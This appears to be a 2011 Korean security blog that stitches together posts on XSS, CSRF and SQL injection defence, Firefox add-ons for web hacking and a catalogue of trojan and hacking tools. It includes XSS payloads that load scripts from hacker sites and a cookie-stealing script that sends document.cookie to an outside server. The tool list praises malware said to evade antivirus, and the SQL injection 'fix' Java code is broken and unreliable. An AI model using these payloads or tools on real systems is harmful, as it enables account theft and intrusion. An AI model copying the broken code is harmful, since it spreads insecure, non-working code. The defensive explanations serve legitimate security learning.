Future versions of major browsers may also support other potentially dangerous protocols. Remember that more ways to trick browsers into running scripts are discovered all the time, and you will need to keep your pages protected against them. An easy way to do this is to always insist that every URL a user provides must start with 'http:' or 'https:' (or 'ftp:', if you want to allow that). This is by far the best protection, as it ensures that only those safe protocols can be linked to, even if it may be slightly more inconvenient for the user to type. Other protocols you might want to consider safe are: 'mailto:', 'irc:', 'ircs:', 'gopher:', 'news:', 'nntp:', 'feed:', 'wap:', 'wtai:', 'about:', 'opera:', 'smsto:', 'mmsto:', 'tel:', 'fax:', 'ed2k:', 'dchub:', 'magnet:'. I do not recommend whitelisting streaming media protocols, for reasons given above and below. Be warned that with META refresh tags, some browsers allow multiple instances of the target URL, and any one could contain the scripted protocol.

Failing to cope with all of these possibilities could lead to a fully fledged attack being launched against your site. The MySpace worm is a good example of the lengths that you will need to go to, to protect yourself against these attacks.

Using BB code

BB code is like a simplistic version of HTML. There are several variations - wikis generally have their own syntax that serves a similar purpose. The general idea is that instead of using normal HTML, the user is allowed to enter only a small selection of HTML equivalents, that are then converted into the HTML they represent, with all other content escaped.

This makes it easier to work out what is or is not allowed - if it does not match the exact patterns, it is not converted. This can be less difficult than having to detect which parts to remove, as the parts of HTML that end up being used are generated by the server, and will not include anything that is considered dangerous.

However, this approach still does not cover 'javascript:' URLs (or other dangerous protocols) in permitted attributes, such as link href, and image src. These will still need to be taken care of, including all the possible variations, as described above.

Embedding content from other sites

It is possible to use content from other sites, such as images or scripts, from other sites (a practice sometimes known as "hotlinking"), using an absolute URL:

<img src="http://othersite.com/someimage.jpg" alt="">
<script src="http://othersite.com/somescript.js" type="text/javascript"></script>
<iframe src="http://othersite.com/somepage.html"></iframe>

In some cases, such as images and iframes, scripting is not a problem, since the JavaScript security model will not allow scripts on pages from one domain to interact with pages on another. However, it is not always safe. If the other site decided to abuse this situation (perhaps in order to get back at your site for wasting their bandwidth by hotlinking), they could rewrite the script hotlinked by your site, to make it do something unexpected, with as much abusive power as cross site scripting. Even with pages in frames or iframes, they could display fake login forms, or inappropriate information convincing the user to give them sensitive information. Since the content appears to the user to be part of your site, they might trust it. It is important that you do not embed content from other sites unless you really trust them.

Plugins are also an extremely effective example. The plugin API allows plugin content to interact with scripts on the page (or create their own), without restriction. The plugin can be hosted on any domain, but if it is embedded on your page (using the OBJECT or EMBED elements, but not frames), it can run scripts as part of your page without being stopped by the JavaScript security model. This is different to other types of page content.

In the case of Flash, there is an optional ALLOWSCRIPTING parameter that can be set to "never" which will prevent the flash movie from communicating with JavaScript, but Flash is just one of many possible plugins, and others do not have an equivalent. Embedding plugin content from other sites, or allowing users to do so, basically opens your site up to cross site scripting attacks.

The same problem is true in reverse. If you produce plugin content, and that content has access to sensitive information, some other site may embed your content in their own page, and start interacting with it using scripts. If the information can be accessed through scripts, then it can be accessed by any page that embeds your plugin content. This is of particular importance to Flash-based shopping sites, or plugin-based security systems. The plugin itself may offer some form of protection (such as checking the hosting domain), but this is up to the individual plugin, and you should refer to that plugin's documentation for more information about protecting your content from remote scripting.

Cross site request forgery

XSRF attacks are based on knowing what the URL will look like, and knowing exactly what data the server expects to be passed, in order to perform an action, such as changing database data, or purchasing items.

http://goodsite.com/delete.php?delete=all

They also rely on the target site thinking that the user themself submitted the form, or requested the action from the site itself, and not another site.

Any solution must make it impossible for another site to do either of these.

XSRF attacks also rely on the user being logged in, and to visit the exploiting page, while the attack is carried out. These conditions require a certain amount of social engineering, and the success rate will also depend on timing. However, it only needs to be successful once for the effects to be extremely damaging. The solutions I will present are not exhaustive, you may also find others, but I recommend you use a combination of these approaches.

Some proposed solutions attempt to use multi-page forms to ensure the correct submission path is followed, and use POST instead of GET as the form method. Neither of these offers effective protection. Both make things a little harder for the attacker, but can fairly easily be circumvented. They can use a real form to get POST to work, and use timed submission in frames, iframes, or popups to simulate multi-page submission.

Although XSRF attacks are usually referred to with two separate sites being involved, this is not a requirement. Blogs and forums are very easy targets. For example, if you post an entry on your blog, and somebody comments, they can put HTML code in the comment that causes the blog post to be deleted as soon as you look through your comments.

<img src="http://blogsite.com/deletepost.php?id=23456">

These attacks can also be carried out through BB code or wiki syntax, as long as an element is allowed that has a URL value. Considering how many elements have URI values, this is a fairly reliable attack. It also has the added benefit that users will usually be logged in while viewing comments on their own blog or forum. This particular type of attack can be partially protected against by insisting that forms that request actions use POST instead of GET, but as I have already said, POST is definitely not a complete solution to the XSRF problem.

Encode a session ID in the URL

This is a fairly simple way to make it virtually impossible for a malicious site to predict what the URL of the target page will be. Make sure that the session ID is sufficiently long and unpredictable, so that the site cannot simply try multiple combinations until one works. 20 random characters should usually be sufficient, but you may want to use more.

Unfortunately, this means that the site will need to generate every page to make sure that the session ID is used by every page, every link, every form (as a hidden input). It is not convenient, but it is very effective protection.

Check referrers

If a page containing a form or link is supposed to be the only page that can send data to a server-side processing script to request an action, then that processing page should check the referrer header to make sure that the page that requested the action was the correct page. Any requests from other pages (including if no referrer is sent, or if it is blank), should not cause any processing, and instead, should display a warning saying that the referrer header was not correct.

Note that some browsers can disable the referrer header if the user requests it - they should be asked to enable it again. Some browsers never send a referrer header. If you intend to use the referrer header as a security precaution, then these browsers will simply not be able to use the site. It is important not to allow requests that do not have a referrer, as an exploiting site could use a trick to prevent a browser sending the header, and this must not be mistaken for a browser that never sends one.

This on its own is not a complete solution for multi-user sites such as blogs, blog comments, or forums, as the attacker may be able to create forms or equivalent links on the page itself and convince you to click a button to initiate the action.

Prompting for passwords

This is a very unpopular idea, but it is a very effective way of ensuring that the user is themself, and not a page that has posted form data as that user. The form that submits data to the processing page should also have a field where the user must enter their password (yes, even though they are already logged in). If the password is not correct, then the processing page must not process the data. Attacking pages will not know the user's password, so they will not be able to fake the form submission.

Pass unique IDs in form submission

Instead of having to encode a unique session ID in every page, include it in a hidden input in the form that submits to the processing page. This can be the same as the user's session ID that is held in a cookie. With XSRF attacks, the attacker does not know what the user's session ID is, so they will not be able to send that part of the form data. The processing page should then check for that session ID, and if it does not find it, it should reject the submission.

Secure sites

Many sites, such as shopping and banking, use encrypted connections to allow users to ensure that they are talking to the correct site, and to prevent attackers from sniffing network data packets. These require a whole new level of attack (as well as the XSS and XSRF attacks), but considering the amounts of money involved, these attacks are profitable enough to be done.

Encrypted connections do a lot more than just encrypting data sent by the user. They also encrypt pages sent tothe user, and offer a certificate path that allows the user to ensure they are talking to the real site before they give it any sensitive information.

Typical attacks would involve intercepting and rewriting a page before the user receives it. This could be done through a compromised router, for example. Another would be to use a compromised DNS server to point the user to the wrong server that pretends to be the real site - the user's address bar will of course show the correct site, and it could even be encrypted. Strictly speaking, these are not cross site scripting attacks, but the effects are the same; some content of the page is changed by a third party, so that sensitive information can be sent to them instead.

Secure connections can deal with both of these situations. Firstly, an encrypted connection can be intercepted, but the attacker cannot read or rewrite the page content, unless they can break the encryption fast enough. This is why it is important to use high level (typically 128 bit) encryption, as it is not currently possible to break within the lifespan of the attacker. Some of the lower level older encryptions (56 bit) can be broken within just a few seconds.

Encrypted connections also offer the ability to check the certification path. This is also virtually impossible to fake, so a user can check the certificate to make sure it is the right company. The browser can check the certification path to ensure the certificates are valid, and that the certification path is correct. Any failures will cause a browser to display warnings to the user so they are aware that the site may not be who it claims to be.

The first and one of the biggest mistakes a site can make is to use both secure and insecure content on the same page. An attacker only needs to compromise one file in order to carry out a successful attack. If they compromise the insecure content (such as replacing a safe script file with an unsafe one), the secure content is compromised as well. This mix of content security happens on quite a few sites, and browsers usually display warnings, but are moving towards denying it altogether.

The next most stupid mistake is to have the login form on an insecure page, that posts the login information to the secure page. It assumes that since the data is encrypted when it is sent, that everything is OK. This happens on a disturbingly high number of bank sites, especially those in the USA.

The problem with this approach is that the user should be able to check the site is real before they give it their information. If the DNS has been compromised, they would only find that out after they have sent their login details to the wrong site. If the page has been altered by a compromised router, for example, to change the action of the form, the user would not know about it until after they sent their data to the wrong site (or if it then sent them to the real site, they would never know).

Very occasionally, there is the problem that an encrypted site sends data - via forms, XMLHttpRequest, or any other means - to an insecure page, either directly or via a redirect. Packet sniffing and rewriting means that an attacker has immediate access to that information.

Secure sites need to ensure that they do not make any of these mistakes, as well as not allowing XSS and XSRF attacks.

2011/09/14 02:17 2011/09/14 02:17

Cross Site Scripting 해킹 관련 자료 입니다. 무료 테스트 버전도 있네요.

Cross Site Scripting Attack

What is Cross Site Scripting?

Hackers are constantly experimenting with a wide repertoire of hacking techniques to compromise websites and web applications and make off with a treasure trove of sensitive data including credit card numbers, social security numbers and even medical records.

Cross Site Scripting (also known as XSS or CSS) is generally believed to be one of the most common application layer hacking techniques.

In the pie-chart below, created by the Web Hacking Incident Database for 2011 (WHID) clearly shows that whilst many different attack methods exist, SQL injection and XSS are the most popular. To add to this, many other attack methods, such as Information Disclosures, Content Spoofing and Stolen Credentials could all be side-effects of an XSS attack.

Top Web Attack Methods from the Web Hacking Incident Database WHID

In general, cross-site scripting refers to that hacking technique that leverages vulnerabilities in the code of a web application to allow an attacker to send malicious content from an end-user and collect some type of data from the victim.

Today, websites rely heavily on complex web applications to deliver different output or content to a wide variety of users according to set preferences and specific needs. This arms organizations with the ability to provide better value to their customers and prospects. However, dynamic websites suffer from serious vulnerabilities rendering organizations helpless and prone to cross site scripting attacks on their data.

"A web page contains both text and HTML markup that is generated by the server and interpreted by the client browser. Web sites that generate only static pages are able to have full control over how the browser interprets these pages. Web sites that generate dynamic pages do not have complete control over how their outputs are interpreted by the client. The heart of the issue is that if mistrusted content can be introduced into a dynamic page, neither the web site nor the client has enough information to recognize that this has happened and take protective actions." (CERT Coordination Center).

Cross Site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to gather data. The use of XSS might compromise private information, manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems. The data is usually formatted as a hyperlink containing malicious content and which is distributed over any possible means on the internet.

As a hacking tool, the attacker can formulate and distribute a custom-crafted CSS URL just by using a browser to test the dynamic website response. The attacker also needs to know some HTML, JavaScript and a dynamic language, to produce a URL which is not too suspicious-looking, in order to attack a XSS vulnerable website.

Any web page which passes parameters to a database can be vulnerable to this hacking technique. Usually these are present in Login forms, Forgot Password forms, etc…

N.B. Often people refer to Cross Site Scripting as CSS or XSS, which is can be confused with Cascading Style Sheets (CSS).

The Theory of XSS

In a typical XSS attack the hacker infects a legitimate web page with his malicious client-side script. When a user visits this web page the script is downloaded to his browser and executed. There are many slight variations to this theme, however all XSS attacks follow this pattern, which is depicted in the diagram below.

A high level view of a typical XSS attack

As a web developer you are putting measures in place to secure the first step of the attack. You want to prevent the hacker from infecting your innocent web page with his malicious script. There are various ways to do that, and this article goes into some technical detail on the most important techniques that you must use to disable this sort of attack against your users.

XSS Attack Vectors

So how does a hacker infect your web page in the first place? You might think, that for an attacker to make changes to your web page he must first break the security of the web server and be able to upload and modify files on that server. Unfortunately for you an XSS attack is much easier than that.

Internet applications today are not static HTML pages. They are dynamic and filled with ever changing content. Modern web pages pull data from many different sources. This data is amalgamated with your own web page and can contain simple text, or images, and can also contain HTML tags such as <p> for paragraph, <img> for image and <script> for scripts. Many times the hacker will use the ‘comments’ feature of your web page to insert a comment that contains a script. Every user who views that comment will download the script which will execute on his browser, causing undesirable behaviour. Something as simple as a Facebook post on your wall can contain a malicious script, which if not filtered by the Facebook servers will be injected into your Wall and execute on the browser of every person who visits your Facebook profile.

By now you should be aware that any sort of data that can land on your web page from an external source has the potential of being infected with a malicious script, but in what form does the data come?

<SCRIPT>

The <SCRIPT> tag is the most popular way and sometimes easiest to detect. It can arrive to your page in the following forms:

External script:

<SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>

Embedded script:

<SCRIPT> alert(“XSS”); </SCRIPT>

<BODY>

The <BODY> tag can contain an embedded script by using the ONLOAD event, as shown below:

<BODY ONLOAD=alert("XSS")>

The BACKGROUND attribute can be similarly exploited:

<BODY BACKGROUND="javascript:alert('XSS')">

<IMG>

Some browsers will execute a script when found in the <IMG> tag as shown here:

<IMG SRC="javascript:alert('XSS');">

There are some variations of this that work in some browsers:

<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">

<IFRAME>

The <IFRAME> tag allows you to import HTML into a page. This important HTML can contain a script.

<IFRAME SRC=”http://hacker-site.com/xss.html”>

<INPUT>

If the TYPE attribute of the <INPUT> tag is set to “IMAGE”, it can be manipulated to embed a script:

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

<LINK>

The <LINK> tag, which is often used to link to external style sheets could contain a script:

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

<TABLE>

The BACKGROUND attribute of the TABLE tag can be exploited to refer to a script instead of an image:

<TABLE BACKGROUND="javascript:alert('XSS')">

The same applies to the <TD> tag, used to separate cells inside a table:

<TD BACKGROUND="javascript:alert('XSS')">

<DIV>

The <DIV> tag, similar to the <TABLE> and <TD> tags can also specify a background and therefore embed a script:

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

The <DIV> STYLE attribute can also be manipulated in the following way:

<DIV STYLE="width: expression(alert('XSS'));">

<OBJECT>

The <OBJECT> tag can be used to pull in a script from an external site in the following way:

<OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">

<EMBED>

If the hacker places a malicious script inside a flash file, it can be injected in the following way:

<EMBED SRC="http://hacker.com/xss.swf" AllowScriptAccess="always">

Is your site vulnerable to Cross Site Scripting?

Our experience leads us to conclude that the cross-site scripting vulnerability is one of the most highly widespread flaw on the Internet and will occur anywhere a web application uses input from a user in the output it generates without validating it. Our own research shows that over a third of the organizations applying for our free audit service are vulnerable to Cross Site Scripting. And the trend is upward.

Example of a Cross Site Scripting Attack

As a simple example, imagine a search engine site which is open to an XSS attack. The query screen of the search engine is a simple single field form with a submit button. Whereas the results page, displays both the matched results and the text you are looking for.

Search Results for "XSS Vulnerability"

To be able to bookmark pages, search engines generally leave the entered variables in the URL address. In this case the URL would look like:

http://test.searchengine.com/search.php?q=XSS%20

Vulnerability

Next we try to send the following query to the search engine:

<script type="text/javascript"> alert ('This is an XSS Vulnerability')< /script>

By submitting the query to search.php, it is encoded and the resulting URL would be something like:

http://test.searchengine.com/search.php?q=%3Cscript%3

Ealert%28%91This%20is%20an%20XSS%20Vulnerability%92%2

9%3C%2Fscript%3E

Upon loading the results page, the test search engine would probably display no results for the search but it will display a JavaScript alert which was injected into the page by using the XSS vulnerability.

How to Check for Cross Site Scripting Vulnerabilities

To check for Cross site scripting vulnerabilities, use a Web Vulnerability Scanner. A Web Vulnerability Scanner crawls your entire website and automatically checks for Cross Site Scripting vulnerabilities. It will indicate which URLs/scripts are vulnerable to these attacks so that you can fix the vulnerability easily. Besides Cross site scripting vulnerabilities a web application scanner will also check for SQL injection & other web vulnerabilities.

Acunetix Web Vulnerability Scanner scans for SQL injection, Cross site scripting, Google hacking and many more vulnerabilities.

Preventing Cross Site Scripting Attacks

The purpose of this article is define Cross Site Scripting attacks and give some practical examples. Preventing XSS attacks requires diligence from the part of the programmers and the necessary security testing. You can learn more about preventing cross-site scripting attacks here.

Scanning for XSS Vulnerabilities with Acunetix Web Vulnerability Scanner Free Edition!
To check whether your website has cross site scripting vulnerabilities, download the Free Edition from http://www.acunetix.com/cross-site-scripting/scanner.htm. This version will scan any website / web application for XSS vulnerabilities and it will also reveal all the essential information related to it, such as the vulnerability location and remediation techniques. Scanning for XSS is normally a quick exercise (depending on the size of the web-site).

2011/09/14 02:15 2011/09/14 02:15
 private boolean authenticateUser(HttpServletRequest req)
  {
    // session.invalidate() should have been called prior to this
    // to invalidate an existing session

    HttpSession session = req.getSession(false);
    if (null != session)
    {
      // existing session assumed valid
      return true;
    }

    if (authenticateRequest(req) == true)
    {
      // create a new session
      req.getSession();
      return true;
    }
   
    return false;
  }
2011/09/14 02:02 2011/09/14 02:02

1. SQL 삽입 공격

1-1) 웹 애플리케이션은 사용자로부터 SQL 구문을 입력 받는 부분, 즉 데이터베이스와 연동되어야

연동되어야 하는 부분은 크게 로그인, 검색, 게시판으로 나눌 수 있습니다.

1-2) 로그인 하는 과정에서 아이디와 패스워드 부분에 특정한 SQL 문이 사입되어 그것이 그대로

데이터베이스에 전송되어 공격자는 원하는 결과를 볼 수 있는 것입니다.

1-3) 발전된 SQL 공격

단순한 로그인 우회 공격이 아닌 다른 테이블에 있는 내용을 열람하는 공격

일반적으로 우편번호 검색 부분에 SQL 쿼리를 입력 받아 조회를 하고 조회하는 과정에서

사용자 입력을 체크하지 않을 경우 SQL Injection 취약점으로 인해 다른 테이블의 내용을 열람

할 수도 있습니다. 또한 Union 구문을 이용하는 경우도 있습니다.

1-4) 발전된 SQL Injection 공격을 위해 다음과 같은 조건이 만족되어야 합니다.

앞의 select 문에서 가져온 열 수와 union뒤에 select 문에서 가져오는 열 수가 동일해야 하고

테이블의 이름과 컬럼의 이름을 알고 있어야 하며 각 컬럼의 타입이 일치해야 합니다.

1-5) SQL Injection 취약점이 존재하는지 확인 하는 방법

1. 사용자의 입력이 DB와 연결되는 부분에 ' 과 같은 문자를 입력하였을 때 SQL 에러가

발생하면 SQL Injection 취약점이 존재한다고 봄

2. SQL 이중 명령어의 사용 : MS-SQL의 경우 ; 문자가 존재하면 SQL 쿼리를 끝내고 ; 다음에

나오는 SQL 쿼리를 실행합니다.

3. MS-SQL의 경우 xp_cmdshell을 이용하여 윈도우 내부 명령어를 실행할 수 있습니다.

1-6) 대응법

1. SQL Injection 공격 취약점은 프로그래머가 사용자의 입력을 받는 부분에서 비정상적인

입력이나 예상치 못한 입력을 받는 것을 처리하지 못 할 때 발생합니다.

2. SQL Injection 공격을 막기 위해서는 사용자의 입력 값에 대한 필터링을 수행합니다.

3. CSS 언어에서의 검증이 아닌 SSS 의 검증으로 처리합니다.

해결안)

String param1 = request.getParameter("id");

String param2 = request.getParameter("password");

validata(param1); // 특수 문자에 대한 필터링

validata(param2);

query = "select userid, userpw from users where userid =? ";

pstmt = conn.prepareStatement(query);

pstmt = setString1, param1);

rs = pstmt.executeQuery();

if (rs.next()) {

//검증

if (rs.getString(1).equals(param1) && getString(2).equals(param2)) {

//성공

}else {

//실패

}else {

// 로그인 실패

}

2. XSS 공격

2-1) XSS를 이용한 공격의 기본 원리

     

사용자 삽입 이미지
 

2-2) XSS란

1. Corss Site Scripting의 약자를 줄여 CSS라고 합니다. 또 다른 이름인 Cascadion Style

Sheets와 혼동되어 일반적으로 XSS라고 불리게 되었습니다.

2. XSS는 타 사용자의 정보를 추출하기 위해 사용되는 공격 기법으로 게시판이나 검색 부분,

즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 공격자가

스크립트 코드를 실행할 수 있게 되는 취약점 입니다.

2-3) XSS를 통한 공격 방법

실제 XSS 공격을 통해 다른 사용자의 쿠키 값을 이용해 다른 사용자로 로그인 하는 과정

1. 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도합니다.

2. 스크립트가 시작하여 열람자의 쿠키 값을 가로챔니다.

3. 가로챈 쿠키 값을 웹 포록시 등을 이용하여 재전송합니다.

4. 공격자는 열람자의 정보로 로그인을 합니다.

예) <script> url="http://192.0.0.1/GetCookie.jsp?cookie=+document.cookie;whidow.open(

url,width=0, height=0);</script>

위 코드는 게시판을 열람시에 사용자의 쿠키 정보가 해커의 웹서버로 전송하는 코드임

사용자 삽입 이미지

2-4) 대응방안

1. 중요한 정보는 쿠키에 저장하지 않아야 하며 사용자 식별 같은 부분은 쿠키에 담지
   않아야

한다.

2. 스크립트 코드에 사용되는 특수 문자에 대한 이해와 정확한 필터링을 해야 한다.
가장 효과적인 방법은 사용자가 입력 가능한 문자(예를 들어, 알파벳, 숫자 및 몇 개의 특수문자)

만을 정해 놓고 그 문자열이 아닌 경우는 모두 필터링해야 합니다. 이 방법은 추가적인

XSS 취약점에 사용되는 특수 문자를 애초부터 막을 수 있다는 장점이 있습니다.

3. 꼭 필요한 경우가 아니라면 게시판에 HTML 포멧의 입력을 사용할 수 없도록 설정합니다.

4. 스크립트 대체 및 무효화 javascript라고 들어오는 문자열을 무조건 'x-javascript'와

같이 대체를 하여 스크립트 실행을 무효화시키는 방법도 있습니다.

5. 정기적인 점검을 통해 취약점을 수시로 확인하고 제거합니다.

2011/09/14 01:33 2011/09/14 01:33

파이어폭스에  웹해킹에 사용하면 좋을 플러그인을 몇 개 소개합니다.

1. Web developer

https://addons.mozilla.org/ko/firefox/addon/60  의 주소로 이동하면 Web Developer의 페이지가 나옵니다.
거기서 Firefox에 추가라는 버튼을 클릭하면 자동으로 설치 창이 뜨고 설치가 진행됩니다.

설치가 끝나고 firefox를 재시작 하면 위와 같이 안보이던 메뉴가 생깁니다. 해당 메뉴들은 웹페이지를 조작하거나 분석하는데 많은 도움을 주는 도구들입니다.

특히 쿠키 조작이나 자바스크립트 분석은 웹 해킹을 할 때 많은 도움을 주기도하고 .
어떤 링크들이 있는지 목록화도 가능합니다.

2. liveHTTPHeader

http://livehttpheaders.mozdev.org/installation.html 로 이동하면 최신버전 플러그인을 볼 수 있습니다. 이 플러그인은 실시간(?)으로 Http 헤더를 분석하거나 조작된 헤더 내용을 전송할 수 있는 툴입니다.

설치가 끝나면 도구 -> Live Http Headers 를 선택해서 위와같이 프로그램을 띄울 수 있습니다. Capture를 선택하면
실시간으로 Http Header가 찍히는 것을 확인할 수 있습니다.

Send POST Content?를 선택하게 되면 헤더와 함께 특정 컨텐츠도 함께 보낼 수 있습니다.
 

3. NF-Tools(Net-force Tools)

http://www.net-force.nl/files/download/nftools/nftools.xpi  <- 클릭하면 아마 자동으로 설치 창이 뜰 것입니다.
개인적으로 매우 매우 맘에드는 플러그인입니다.
문자열 컨버팅을 해주는 유틸리티 입니다. 설치가 끝나고 firefox 재시작한 뒤 오른쪽 클릭을 하면 NF-Tools 라는
새로운 메뉴가 생긴것을 확인할 수 있습니다. 아무거나 선택합니다.


매우 보기 편한 인터페이스 입니다. 아스키 코드를 헥스로 바꾸거나 헥스를 아스키 코드로 바꿔주는 기능을 담당하고 있습니다. 사실 간단한 일이지만 매우 자주 자주 쓸모 있는 것이죠

한가지 더 보죠

이것은 BASE64 인코더/디코더 입니다. 아스키와 헥스 가 했던것 처럼 매우 사용하기 편합니다
그 외에도 자주 사용되는 암호화 기능등이 있네요

4. FoxyProxy

https://addons.mozilla.org/ko/firefox/addon/2464 로 이동하면 FoxyProxy 설치 페이지를 볼 수 있습니다. 이것은 프록시 서버를 사용할 수 있도록 해주는 애드온인데요 .. 프록시 서버를 등록해서 켜고 끄고 할 수 있습니다.

5. Domain Details

이번에는 큰 도움은 안되지만 깔아놔서 손해 볼일은 없는 플러그인입니다.
https://addons.mozilla.org/ko/firefox/addon/2166 주소이구요 
이걸 설치하면 간단한 프로그램이 깔리게 됩니다.

가장 하단 분에 보면 서버정보와 아이피 정보가 있는 것을 볼 수 있습니다.
이처럼 현재 접속해 있는 사이트의 정보를 간단히 리포트 해주는 역할을 하고 있습니다
아이피 옆에 느낌표를 누르면 더 자세한 정보들도 확인할 수 있답니다



2011/09/14 01:28 2011/09/14 01:28

==============================================================================
Trojan Virus / Hacking Tool
==============================================================================
Back Orifice 2000 --- cDc에서 공개한 백 오리피스 2000
Back Orifice 1.20 --- cDc 에서 공개한 백 오리피스
Back Orifice 1.3 --- 역시 BO의 업그레이드 버전
주민등록번호생성기 --- 주민등록 번호 생성기
Infector 2 --- V3에 안 잡히는 BOSERVE.EXE
Deep Bo --- BO의 업그레이드 버전!! (편리한 IP Sweep 기능)
Bo Plug-in --- 3가지 BO 플러그 인 (ButtTrumpet, SilkRope, BOFTP)
No BO 13a --- BO 해킹 방지 전문적으로 차단하는 프로그램
Net Bus 1.70 --- BO랑 쌍벽을 이루는 Trojan Hacking 프로그램
Net Bus Pro B --- 넷버스 2 프로 베타 버전 원제는 NetBus 2 Atomic Toxic
Ner Bus Pro 2.01 --- 넷버스 프로 2.01
Netbus Pro 2.1 Dropper --- Netbus Pro 2.1 Dropper
Lock Down 2000 Trojan Virus --- 전문 검사+치료 프로그램
BO SPY --- BO Gui쓰는 사람에게
Cleaner 2.0 --- bo 검사 & 치료 프로그램
BO Scanner --- Cleaner 2.0과 비슷한 프로그램
BO Remove --- BO만 치료
Modem Jammer --- IP경로 지우는 프로그램
Infector 2 --- V3에 안 잡히는 BOSERVE.EXE
스쿨버스 --- 스쿨버스입니다.
Deepthroat --- nobo에 안걸 리는 bo 서버
Subseven --- v1.7 트로이입니다.
Subseven --- 2.1 버그 패치 된 것
Pphucker --- pphucker라는 트로이

==============================================================================
포트스캔
==============================================================================
Port Scanner --- 포트 스캐너입니다.
Port Pro //
Port Test //
ChaOscan //
Tcp port scanner //
FTP Scanner --- IP주소로 FTP서버를 찾아줌

==============================================================================
WWW해킹
==============================================================================
Wwwhack98 --- 가장 잘 알려진 웹 해킹 프로그램
Webcrack --- 특별한 기능이 있는 웹 해킹 프로그램
HackerTTP1_3 --- 가장 빠른 웹 해킹 프로그램
Goldeneye --- Goldeneye라는 웹 해킹 프로그램

==============================================================================
누킹
==============================================================================
Mass nuker --- 매우 강력한 누킹 프로그램
Port Fuck --- 윈도우 98의 포트를 막아줌
Wiin nuke --- 95 화면을 먹통으로 만들어 버림
Nuke --- 강력한 누킹 프로그램
Nuke`em --- 컴퓨터를 다운시켜 버림
E-mail Nuker --- 상대방의 E-MAIL을 날려버림
Voob --- 컴퓨터를 다운시켜 버림

===============================================================================
키 로그
==============================================================================
Keylog 97 --- 키보드를 통해 누른 어떤 글자도 날짜별로 체계적으로 저장
Keylog25 //
Passpy //
Keylog //
Key rec //

=============================================================================
유닉스/리눅스
==============================================================================
폭탄메일 스크립트 --- 리눅스/유닉스용 폭탄메일
satan --- 취약점을 찾아내는 SATAN이라는 툴
saint --- SATAN이 개선된 SAINT
hack unix --- 유닉스용 해킹 프로그램
fire wall --- 리눅스용 방화벽
스니퍼 --- 몰래 엿보는 프로그램

==============================================================================
메일봄버
==============================================================================
AnonMail --- 자신의 이메일 주소를 원하는데로..
Avalanche --- 폭탄 메일
QFbomber --- 사용법이 쉬운 메일 봄버
Aenima17 --- 메일 봄버
Bomb Mail --- 메일 봄버
E-mail Bombing --- 메일 봄버
Kaboom3 --- 메일을 999장 보냄
Port Fuck! --- Win98 사용자에게 폭탄멜 보내기(누킹 툴 W98)

==============================================================================
크래커
===============================================================================
bus hacker --- 넷버스의 패스워드를 바꿔줌
John the ripper --- 유닉스 PASSWD화일을 해독
Crack Jack //
DateCrack --- 날짜제한을 없애줌
Uunix password cracker --- 유닉스 패스워드 크래커. 도스용
Zip ZIP --- 화일의 패스워드를 크랙
트럼펫윈속 --- 트럼펫윈속의 패스워드를 크랙
UNP --- 자체 압축기법 해제
UX --- 자체 압축기법 해제
마이크로 excel cracker --- 엑셀의 암호를 없애줌
Soft Ice --- 윈도우용 소프트 아이스
화면보호기 cracker --- 윈도우 스크린 세이버의 암호를 풀어줌
John The Ripper 1.0 --- 가장 유명하고 강력한 크래킹 프로그램으로 전설적인 크래킹 기록을 세움
codex TCP/IP Hacker

==============================================================================
패스워드
=============================================================================
Dripper --- 현재 어떤 ID와 PW로 접속했는지 알려줌
Revelation --- 윈도우에서 ****으로 표시된 PW를 알려줌
Cmos password --- CMOS의 패스워드를 마음데로

==============================================================================
바이러스
=============================================================================
에루살렘
핑퐁
바이러스 메이커 1,2,3

============================================================================
방어/추적
==============================================================================
Cleaner 2.0 --- 38개의 트로이를 스캔, 제거툴
Visual Route --- ip만 입력하면 상대방의 국가, 지역까지..
Lock Down 2000 --- 클리너에 버금가는 트로이 스캐너
X-ray 파일 분석기
Nobo --- BO 침투자를 막아주고 IP를 알려줌
Bospy --- 딥보 침투자에게 역해킹..
No Nuke --- 누킹을 막아줌
Nuke Nabber --- 누깅을 막아줌
Neotrc201 --- IP 추적기
Antigen102
Net Buster --- 넷버스를 없애주고 침입자를 물리
Fire wall 98 --- 개인 방화벽
Bo remover --- 백오리피스를 빠른속도로 없애줌
Conseal fire wall --- 개인 방화벽
T.D.S.2 --- 294개의 트로이를 제거해줌

===========================================================================
필수유틸
=============================================================================
Jammer --- 자신의 접속 경로를 지워줍니다.
HAKTEK --- 포트스캔, 핑거, 메일봄버 등이 하나로
com2exe --- *.com을 *.exe화일로...
bat2exe --- *.bat를 *.exe화일로...
exe2com --- *.exe화일을 *.com화일로...
mouse.com --- 가끔 필요한 마우스 띄우는 프로그램
winnt->dos --- 윈도우nt 파일을 도스에서 마운트

2011/09/11 20:33 2011/09/11 20:33

요즘 아이패드 랑 놀고 있습니다. HTC 4G 폰을 구입후 테더링을 사용해 아이패드로 빠른 인터넷을 할수 있어 좋습니다.

얼마전 친구와 술자리를 하다. (그 친구는 웹디자이너 입니다.) 공개용 보드로 홈페이지를 제작 했는데. 어느 누구도 해킹할수 없다.

혹 ** 가 해킹하면 오늘 100만원 쏠테니 술마시자는 제안을 했다. - 아이패드로 윈도우 머신에 리모트로 접속후

얼마전 테스트 목적으로 자동화된 인젝션 공격 툴을 개발해 놓아서

약 7분만에 admin 접속 화면을 보여 주었다. 100만원을 쏜다는 친구는 그날 30만원 정도에 술을 사더니 돈이 없다며

다음주에 한자더 먹자고 하며 술자리를 마감 했다.ㅎㅎ

하단에 웹해킹 방화벽 입니다.


<웹해킹 방어를 위한 KrCERT/CC 권고 사항>

※ 공개웹방화벽 전용 홈페이지 안내(방화벽 설치 시 주요 웹해킹 방어가능)

공개웹방화벽(WebKnight 및 ModSecurity) 다운로드, 설치 운영 가이드, FAQ 등의 정보 제공
- http://www.krcert.or.kr/firewall/index.htm

※ 무료 웹취약점 점검을 신청(웹취약점 탐지 및 해결방법을 설명)

